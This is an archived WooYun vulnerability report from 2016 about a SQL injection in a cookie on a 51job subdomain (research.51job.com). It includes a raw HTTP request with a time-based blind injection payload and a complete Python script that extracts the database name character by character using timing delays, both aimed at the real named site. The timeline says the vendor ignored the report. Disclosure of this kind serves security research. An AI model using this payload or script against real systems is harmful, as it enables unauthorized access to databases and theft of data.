破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

51job分站存在SQL注入

编号218066
Urlhttp://www.wooyun.org/bug.php?action=view&id=218066
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题51job分站存在SQL注入
漏洞类型SQL注射漏洞
厂商前程无忧(51job)
白帽子路人甲
提交日期2016-06-10 18:51:00
公开日期2016-06-17 11:00:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank0
漏洞简介
51job分站存在SQL注入
漏洞细节

GET /order.html HTTP/1.1
Cookie: ASPSESSIONIDQCCBRQDA=PAAEILKAFGNBCKPECJMAKPMM; readlist=196%2C25%2C294%2C340%2C307; orderlist=-1)%3Bif(ascii(substring(USER,1,1))>103)%20waitfor%20delay%20'0:0:10'%20--%20; Hm_lvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491620,1465491620,1465491621,1465491621; Hm_lpvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491621; HMACCOUNT=CE77C9E3D0040FF7
X-Requested-With: XMLHttpRequest
Referer: http://research.51job.com/
Host: research.51job.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


current result is h{{l

#!/usr/bin/python
# coding=utf-8
import httplib,time,string,sys,random,urllib
import requests
def getPayloadCookie(i,payload):
x = "ASPSESSIONIDQCCBRQDA=PAAEILKAFGNBCKPECJMAKPMM; readlist=196%2C25%2C294%2C340%2C307; orderlist=-1)%3Bif(ascii(substring(DB_NAME(),"+str(i)+",1))>"+str(ord(payload))+")%20waitfor%20delay%20'0:0:10'%20--%20; Hm_lvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491620,1465491620,1465491621,1465491621; Hm_lpvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491621; HMACCOUNT=CE77C9E3D0040FF7"
headers = {
'Host': 'research.51job.com',
'Accept': '*/*',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://research.51job.com/',
'Connection': 'Keep-alive',
'Cookie': x
}
return headers
def exploit():
res = ''
url = 'http://research.51job.com/order.html'
payloads = ['@','_','.']+ list(string.ascii_lowercase)+list(string.ascii_uppercase) +[str(i) for i in range(10) ]
payloads = sorted(payloads,reverse=True)
for i in range(1,30,1):
for payload in payloads:
try:
headers = getPayloadCookie(i,payload)
response = requests.request(method='GET',url=url,headers=headers, timeout=3)
print chr(ord(payload)+1),
sys.stdout.flush()
except Exception,e:
res += chr(ord(payload)+1)
print "\ncurrent result is",res
break
print res
if __name__=='__main__':
exploit()
#getPayloadCookie(2,'a')

POC

修复方案

状态信息 2016-06-10: 细节已通知厂商并且等待厂商处理中
2016-06-10: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-17: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复None漏洞Rank:15 (WooYun评价)
回应信息危害等级:无影响厂商忽略忽略时间:2016-06-17 11:00